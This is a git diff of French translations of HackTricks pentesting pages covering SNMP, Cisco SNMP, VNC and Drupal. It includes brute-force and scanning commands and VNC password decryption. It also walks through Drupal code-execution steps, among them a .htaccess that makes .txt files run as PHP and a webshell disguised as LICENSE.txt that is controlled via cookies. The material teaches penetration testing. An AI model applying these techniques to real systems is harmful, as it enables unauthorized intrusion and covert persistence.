[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la structure contient des informations sur le droit du processus en cours. `csb_platform_binary` informe également si l'application est un binaire de plateforme (ce qui est vérifié à différents moments par le système d'exploitation pour appliquer des mécanismes de sécurité comme protéger les droits SEND aux ports de tâche de ces processus).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -34,12 +34,12 @@ SNMP utilise également le port **162/UDP** pour les **traps**. Ce sont des **pa
|
|||
|
||||
### MIB
|
||||
|
||||
Pour garantir que l'accès SNMP fonctionne entre différents fabricants et avec différentes combinaisons client-serveur, la **Base de Données de Gestion (MIB)** a été créée. La MIB est un **format indépendant pour stocker les informations sur les dispositifs**. Un MIB est un **fichier texte** dans lequel tous les **objets SNMP** interrogeables d'un dispositif sont listés dans une hiérarchie d'arbre **standardisée**. Il contient au **moins un `Identifiant d'Objet` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
|
||||
Pour garantir que l'accès SNMP fonctionne entre différents fabricants et avec différentes combinaisons client-serveur, la **Base de Données d'Informations de Gestion (MIB)** a été créée. MIB est un **format indépendant pour stocker les informations sur les appareils**. Un MIB est un **fichier texte** dans lequel tous les **objets SNMP** interrogeables d'un appareil sont listés dans une hiérarchie d'arbre **standardisée**. Il contient au **moins un `Identifiant d'Objet` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
|
||||
Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Notation de Syntaxe Abstraite Un` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais elles expliquent **où trouver quelles informations** et à quoi elles ressemblent, quelles valeurs sont retournées pour l'OID spécifique, ou quel type de données est utilisé.
|
||||
|
||||
### OIDs
|
||||
|
||||
Les **Identifiants d'Objet (OIDs)** jouent un rôle crucial. Ces identifiants uniques sont conçus pour gérer des objets au sein d'une **Base de Données de Gestion (MIB)**.
|
||||
Les **Identifiants d'Objet (OIDs)** jouent un rôle crucial. Ces identifiants uniques sont conçus pour gérer des objets au sein d'une **Base de Données d'Informations de Gestion (MIB)**.
|
||||
|
||||
Les niveaux les plus élevés des identifiants d'objets MIB, ou OIDs, sont attribués à diverses organisations de normalisation. C'est au sein de ces niveaux supérieurs que le cadre pour les pratiques et normes de gestion mondiales est établi.
|
||||
|
||||
|
@ -47,8 +47,8 @@ De plus, les fournisseurs ont la liberté d'établir des branches privées. Au s
|
|||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Vous pouvez **naviguer** à travers un **arbre OID** sur le web ici : [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **voir ce que signifie un OID** (comme `1.3.6.1.2.1.1`) en accédant à [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Il existe des **OID bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) qui font référence aux variables du Protocole Simple de Gestion de Réseau (SNMP) défini par MIB-2. Et à partir des **OID en attente de celui-ci**, vous pouvez obtenir des données intéressantes sur l'hôte (données système, données réseau, données de processus...)
|
||||
Vous pouvez **naviguer** à travers un **arbre OID** depuis le web ici : [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **voir ce que signifie un OID** (comme `1.3.6.1.2.1.1`) en accédant à [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Il existe des **OID bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) qui font référence aux variables du Protocole de Gestion de Réseau Simple (SNMP) défini par MIB-2. Et à partir des **OID en attente de celui-ci**, vous pouvez obtenir des données intéressantes sur l'hôte (données système, données réseau, données de processus...)
|
||||
|
||||
### **Exemple d'OID**
|
||||
|
||||
|
@ -59,24 +59,24 @@ Il existe des **OID bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](ht
|
|||
Voici une décomposition de cette adresse.
|
||||
|
||||
* 1 – cela s'appelle l'ISO et cela établit qu'il s'agit d'un OID. C'est pourquoi tous les OID commencent par "1"
|
||||
* 3 – cela s'appelle ORG et il est utilisé pour spécifier l'organisation qui a construit le dispositif.
|
||||
* 3 – cela s'appelle ORG et il est utilisé pour spécifier l'organisation qui a construit l'appareil.
|
||||
* 6 – c'est le dod ou le Département de la Défense qui est l'organisation qui a établi Internet en premier.
|
||||
* 1 – c'est la valeur de l'internet pour indiquer que toutes les communications se feront via Internet.
|
||||
* 4 – cette valeur détermine que ce dispositif est fabriqué par une organisation privée et non par une organisation gouvernementale.
|
||||
* 1 – cette valeur indique que le dispositif est fabriqué par une entreprise ou une entité commerciale.
|
||||
* 4 – cette valeur détermine que cet appareil est fabriqué par une organisation privée et non par une organisation gouvernementale.
|
||||
* 1 – cette valeur indique que l'appareil est fabriqué par une entreprise ou une entité commerciale.
|
||||
|
||||
Ces six premières valeurs tendent à être les mêmes pour tous les dispositifs et elles vous donnent les informations de base à leur sujet. Cette séquence de nombres sera la même pour tous les OID, sauf lorsque le dispositif est fabriqué par le gouvernement.
|
||||
Ces six premières valeurs tendent à être les mêmes pour tous les appareils et elles vous donnent les informations de base à leur sujet. Cette séquence de nombres sera la même pour tous les OID, sauf lorsque l'appareil est fabriqué par le gouvernement.
|
||||
|
||||
Passons à l'ensemble suivant de nombres.
|
||||
|
||||
* 1452 – donne le nom de l'organisation qui a fabriqué ce dispositif.
|
||||
* 1 – explique le type de dispositif. Dans ce cas, c'est un réveil.
|
||||
* 2 – détermine que ce dispositif est une unité terminale à distance.
|
||||
* 1452 – donne le nom de l'organisation qui a fabriqué cet appareil.
|
||||
* 1 – explique le type d'appareil. Dans ce cas, c'est un réveil.
|
||||
* 2 – détermine que cet appareil est une unité terminale à distance.
|
||||
|
||||
Le reste des valeurs donne des informations spécifiques sur le dispositif.
|
||||
Le reste des valeurs donne des informations spécifiques sur l'appareil.
|
||||
|
||||
* 5 – désigne un point d'alarme discret.
|
||||
* 1 – point spécifique dans le dispositif
|
||||
* 1 – point spécifique dans l'appareil
|
||||
* 3 – port
|
||||
* 21 – adresse du port
|
||||
* 1 – affichage pour le port
|
||||
|
@ -92,14 +92,14 @@ Il existe 2 versions importantes de SNMP :
|
|||
|
||||
### Chaînes Communautaires
|
||||
|
||||
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur la MIB, vous devez connaître la chaîne communautaire des versions 1 et 2/2c et les identifiants sur la version 3.**\
|
||||
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur le MIB, vous devez connaître la chaîne communautaire des versions 1 et 2/2c et les informations d'identification de la version 3.**\
|
||||
Il existe **2 types de chaînes communautaires** :
|
||||
|
||||
* **`public`** principalement des fonctions **en lecture seule**
|
||||
* **`private`** **Lecture/Écriture** en général
|
||||
|
||||
Notez que **la possibilité d'écriture d'un OID dépend de la chaîne communautaire utilisée**, donc **même** si vous trouvez que "**public**" est utilisé, vous pourriez être en mesure de **modifier certaines valeurs.** De plus, il **peut** exister des objets qui sont **toujours "Lecture Seule".**\
|
||||
Si vous essayez de **modifier** un objet, une erreur **`noSuchName` ou `readOnly`** est reçue\*\*.\*\*
|
||||
Notez que **la possibilité d'écriture d'un OID dépend de la chaîne communautaire utilisée**, donc **même** si vous trouvez que "**public**" est utilisé, vous pourriez être en mesure de **écrire certaines valeurs.** De plus, il **peut** exister des objets qui sont **toujours "Lecture Seule".**\
|
||||
Si vous essayez d'**écrire** un objet, une erreur **`noSuchName` ou `readOnly`** est reçue\*\*.\*\*
|
||||
|
||||
Dans les versions 1 et 2/2c, si vous utilisez une **mauvaise** chaîne communautaire, le serveur ne **répondra pas**. Donc, s'il répond, une **chaîne communautaire valide a été utilisée**.
|
||||
|
||||
|
@ -117,7 +117,7 @@ Pour **deviner la chaîne communautaire**, vous pourriez effectuer une attaque p
|
|||
|
||||
## Énumération SNMP
|
||||
|
||||
Il est recommandé d'installer ce qui suit pour voir ce que signifie **chaque OID recueilli** à partir du dispositif :
|
||||
Il est recommandé d'installer ce qui suit pour voir ce que signifie **chaque OID recueilli** à partir de l'appareil :
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -193,11 +193,11 @@ Si vous avez la **chaîne** qui vous permet de **modifier des valeurs** à l'int
|
|||
|
||||
## **SNMP Massif**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa) est un scanner SNMP massif. L'utilisation prévue d'un tel outil est, bien sûr, de faire des requêtes SNMP – mais contrairement à snmpwalk de net-snmp, il est capable d'interroger des dizaines ou des centaines d'hôtes simultanément, et dans un seul processus. Ainsi, il consomme très peu de ressources système et effectue le scan TRÈS rapidement.
|
||||
[Braa ](https://github.com/mteg/braa) est un scanner SNMP de masse. L'utilisation prévue d'un tel outil est, bien sûr, de faire des requêtes SNMP – mais contrairement à snmpwalk de net-snmp, il est capable d'interroger des dizaines ou des centaines d'hôtes simultanément, et dans un seul processus. Ainsi, il consomme très peu de ressources système et effectue le scan TRÈS rapidement.
|
||||
|
||||
Braa implémente sa propre pile SNMP, donc il n'a pas besoin de bibliothèques SNMP comme net-snmp.
|
||||
|
||||
**Syntaxe :** braa \[Chaîne de communauté\]@\[IP du serveur SNMP\]:\[id iso\]
|
||||
**Syntaxe :** braa \[Chaîne de communauté\]@\[\IP du serveur SNMP\]:\[\id iso\]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -235,7 +235,7 @@ Vous pouvez utiliser _**NetScanTools**_ pour **modifier des valeurs**. Vous devr
|
|||
|
||||
## Usurpation
|
||||
|
||||
S'il y a une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses à l'intérieur du paquet UDP et renifler le trafic.
|
||||
S'il existe une ACL qui n'autorise que certaines adresses IP à interroger le service SMNP, vous pouvez usurper l'une de ces adresses à l'intérieur du paquet UDP et renifler le trafic.
|
||||
|
||||
## Examiner les fichiers de configuration SNMP
|
||||
|
||||
|
@ -243,9 +243,9 @@ S'il y a une ACL qui n'autorise que certaines adresses IP à interroger le servi
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting des réseaux Cisco
|
||||
|
||||
**SNMP** fonctionne sur UDP avec les ports 161/UDP pour les messages généraux et 162/UDP pour les messages de trap. Ce protocole repose sur des chaînes de communauté, servant de mots de passe qui permettent la communication entre les agents et les serveurs SNMP. Ces chaînes sont essentielles car elles déterminent les niveaux d'accès, spécifiquement **lecture seule (RO) ou lecture-écriture (RW)**. Un vecteur d'attaque notable pour les pentesters est le **brute-forcing des chaînes de communauté**, visant à infiltrer les dispositifs réseau.
|
||||
**SNMP** fonctionne sur UDP avec les ports 161/UDP pour les messages généraux et 162/UDP pour les messages de trap. Ce protocole repose sur des chaînes communautaires, servant de mots de passe qui permettent la communication entre les agents et les serveurs SNMP. Ces chaînes sont essentielles car elles déterminent les niveaux d'accès, spécifiquement **lecture seule (RO) ou lecture-écriture (RW)**. Un vecteur d'attaque notable pour les pentesters est le **brute-forcing des chaînes communautaires**, visant à infiltrer les dispositifs réseau.
|
||||
|
||||
Un outil pratique pour exécuter de telles attaques par force brute est [**onesixtyone**](https://github.com/trailofbits/onesixtyone), qui nécessite une liste de chaînes de communauté potentielles et les adresses IP des cibles :
|
||||
Un outil pratique pour exécuter de telles attaques par force brute est [**onesixtyone**](https://github.com/trailofbits/onesixtyone), qui nécessite une liste de chaînes communautaires potentielles et les adresses IP des cibles :
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Le framework Metasploit comprend le module `cisco_config_tftp`, facilitant l'extraction des configurations des appareils, sous réserve d'acquérir une chaîne de communauté RW. Les paramètres essentiels pour cette opération incluent :
|
||||
Le framework Metasploit comprend le module `cisco_config_tftp`, facilitant l'extraction des configurations des appareils, sous réserve d'obtenir une chaîne de communauté RW. Les paramètres essentiels pour cette opération incluent :
|
||||
|
||||
* Chaîne de communauté RW (**COMMUNITY**)
|
||||
* IP de l'attaquant (**LHOST**)
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Virtual Network Computing (VNC)** est un système de partage de bureau graphique robuste qui utilise le protocole **Remote Frame Buffer (RFB)** pour permettre le contrôle à distance et la collaboration avec un autre ordinateur. Avec VNC, les utilisateurs peuvent interagir sans effort avec un ordinateur distant en transmettant des événements de clavier et de souris dans les deux sens. Cela permet un accès en temps réel et facilite l'assistance ou la collaboration à distance efficace sur un réseau.
|
||||
**Virtual Network Computing (VNC)** est un système robuste de partage de bureau graphique qui utilise le protocole **Remote Frame Buffer (RFB)** pour permettre le contrôle à distance et la collaboration avec un autre ordinateur. Avec VNC, les utilisateurs peuvent interagir sans effort avec un ordinateur distant en transmettant des événements de clavier et de souris dans les deux sens. Cela permet un accès en temps réel et facilite l'assistance ou la collaboration à distance efficace sur un réseau.
|
||||
|
||||
VNC utilise généralement les ports **5800 ou 5801 ou 5900 ou 5901.**
|
||||
```
|
||||
|
@ -50,7 +50,7 @@ Si vous avez le mot de passe VNC et qu'il semble chiffré (quelques octets, comm
|
|||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Vous pouvez le faire parce que le mot de passe utilisé dans 3des pour chiffrer les mots de passe VNC en texte clair a été inversé il y a des années.\
|
||||
Vous pouvez faire cela parce que le mot de passe utilisé dans 3des pour chiffrer les mots de passe VNC en texte clair a été inversé il y a des années.\
|
||||
Pour **Windows**, vous pouvez également utiliser cet outil : [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Je sauvegarde l'outil ici aussi pour un accès facile :
|
||||
|
||||
|
@ -60,7 +60,7 @@ Je sauvegarde l'outil ici aussi pour un accès facile :
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -75,7 +75,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
## Avec le module PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dans les anciennes versions de Drupal **(avant la version 8)**, il était possible de se connecter en tant qu'administrateur et **d'activer le module `PHP filter`**, qui "Permet d'évaluer le code/snippets PHP intégrés." Mais à partir de la version 8, ce module n'est pas installé par défaut.
|
||||
Dans les anciennes versions de Drupal **(avant la version 8)**, il était possible de se connecter en tant qu'administrateur et **d'activer le module `PHP filter`**, qui "Permet d'évaluer le code/snippet PHP intégré." Mais à partir de la version 8, ce module n'est pas installé par défaut.
|
||||
{% endhint %}
|
||||
|
||||
Vous devez que le **plugin php soit installé** (vérifiez en accédant à _/modules/php_ et si cela renvoie un **403**, alors, **il existe**, si **non trouvé**, alors le **plugin php n'est pas installé**)
|
||||
|
@ -27,7 +27,7 @@ Allez à _Modules_ -> (**Vérifiez**) _PHP Filter_ -> _Sauvegarder la configurat
|
|||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
Ensuite, cliquez sur _Ajouter du contenu_ -> Sélectionnez _Page de base_ ou _Article_ -> Écrivez _php shellcode dans le corps_ -> Sélectionnez _PHP code_ dans _Format de texte_ -> Sélectionnez _Aperçu_
|
||||
Ensuite, cliquez sur _Ajouter du contenu_ -> Sélectionnez _Page de base_ ou _Article_ -> Écrivez _code shell php dans le corps_ -> Sélectionnez _code PHP_ dans _Format de texte_ -> Sélectionnez _Aperçu_
|
||||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
|
@ -47,7 +47,7 @@ Dans les versions actuelles, il n'est plus possible d'installer des plugins en n
|
|||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Une fois téléchargé, allez dans **`Administration`** > **`Rapports`** > **`Mises à jour disponibles`**.
|
||||
3. Cliquez sur **`Parcourir`**, sélectionnez le fichier dans le répertoire où nous l'avons téléchargé, puis cliquez sur **`Installer`**.
|
||||
4. Une fois le module installé, nous pouvons cliquer sur **`Contenu`** et **créer une nouvelle page de base**, comme nous l'avons fait dans l'exemple de Drupal 7. Encore une fois, assurez-vous de **sélectionner `PHP code` dans le menu déroulant `Format de texte`**.
|
||||
4. Une fois le module installé, nous pouvons cliquer sur **`Contenu`** et **créer une nouvelle page de base**, comme nous l'avons fait dans l'exemple Drupal 7. Encore une fois, assurez-vous de **sélectionner `PHP code` dans le menu déroulant `Format de texte`**.
|
||||
|
||||
## Module avec porte dérobée
|
||||
|
||||
|
@ -97,7 +97,7 @@ Avant l'activation :
|
|||
|
||||
Après l'activation :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -124,7 +124,7 @@ allow_insecure_uploads: false
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
À :
|
||||
À :
|
||||
|
||||
Fichier : system.file.yml
|
||||
```
|
||||
|
@ -166,11 +166,11 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> Je ne l'utilise pas dans cet article de blog, mais il est noté qu'il est possible de définir l'entrée `file_directory` de manière arbitraire et qu'elle est vulnérable à une attaque par traversée de chemin (nous pouvons donc remonter dans l'arborescence du système de fichiers Drupal).
|
||||
> Je ne l'utilise pas dans ce billet de blog, mais il est noté qu'il est possible de définir l'entrée `file_directory` de manière arbitraire et qu'elle est vulnérable à une attaque par traversée de chemin (nous pouvons donc remonter dans l'arborescence du système de fichiers Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Partie 3 (exploitation de la fonctionnalité _Ajouter un document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
### Part 3 (exploitation de la fonctionnalité _Ajouter un document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
La dernière étape est la plus simple et se décompose en deux sous-étapes. La première consiste à télécharger un fichier au format .htaccess pour exploiter les directives Apache et permettre aux fichiers .txt d'être interprétés par le moteur PHP. La seconde consiste à télécharger un fichier .txt contenant notre payload.
|
||||
|
||||
|
@ -194,7 +194,7 @@ php_flag engine on
|
|||
```
|
||||
Pourquoi ce truc est-il cool ?
|
||||
|
||||
Parce qu'une fois que le Webshell (que nous appellerons LICENSE.txt) est déposé sur le serveur Web, nous pouvons transmettre nos commandes via `$_COOKIE` et dans les journaux du serveur Web, cela apparaîtra comme une requête GET légitime vers un fichier texte.
|
||||
Parce qu'une fois que le Webshell (que nous appellerons LICENSE.txt) est déposé sur le serveur Web, nous pouvons transmettre nos commandes via `$_COOKIE` et dans les journaux du serveur Web, cela apparaîtra comme une requête GET légitime à un fichier texte.
|
||||
|
||||
Pourquoi nommer notre Webshell LICENSE.txt ?
|
||||
|
||||
|
@ -231,9 +231,9 @@ programs whose distribution conditions are different, write to the author
|
|||
...
|
||||
|
||||
```
|
||||
#### **Partie 3.1 (télécharger le fichier .htaccess)**
|
||||
#### **Part 3.1 (upload file .htaccess)**
|
||||
|
||||
Tout d'abord, nous utilisons la fonctionnalité _Ajouter un document_ (/media/add/document) pour télécharger notre fichier contenant les directives Apache (.htaccess).
|
||||
Tout d'abord, nous utilisons la fonctionnalité _Add Document_ (/media/add/document) pour télécharger notre fichier contenant les directives Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -241,9 +241,9 @@ Tout d'abord, nous utilisons la fonctionnalité _Ajouter un document_ (/media/ad
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Partie 3.2 (télécharger le fichier LICENSE.txt)**
|
||||
**Part 3.2 (upload file LICENSE.txt)**
|
||||
|
||||
Ensuite, nous utilisons à nouveau la fonctionnalité _Ajouter un document_ (/media/add/document) pour télécharger un Webshell caché dans un fichier de licence.
|
||||
Ensuite, nous utilisons à nouveau la fonctionnalité _Add Document_ (/media/add/document) pour télécharger un Webshell caché dans un fichier de licence.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -251,11 +251,11 @@ Ensuite, nous utilisons à nouveau la fonctionnalité _Ajouter un document_ (/me
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Partie 4 (interaction avec le Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
La dernière partie consiste à interagir avec le Webshell.
|
||||
|
||||
Comme le montre la capture d'écran suivante, si le cookie attendu par notre Webshell n'est pas défini, nous obtenons le résultat suivant lors de la consultation du fichier via un navigateur Web.
|
||||
Comme montré dans la capture d'écran suivante, si le cookie attendu par notre Webshell n'est pas défini, nous obtenons le résultat suivant lors de la consultation du fichier via un navigateur Web.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
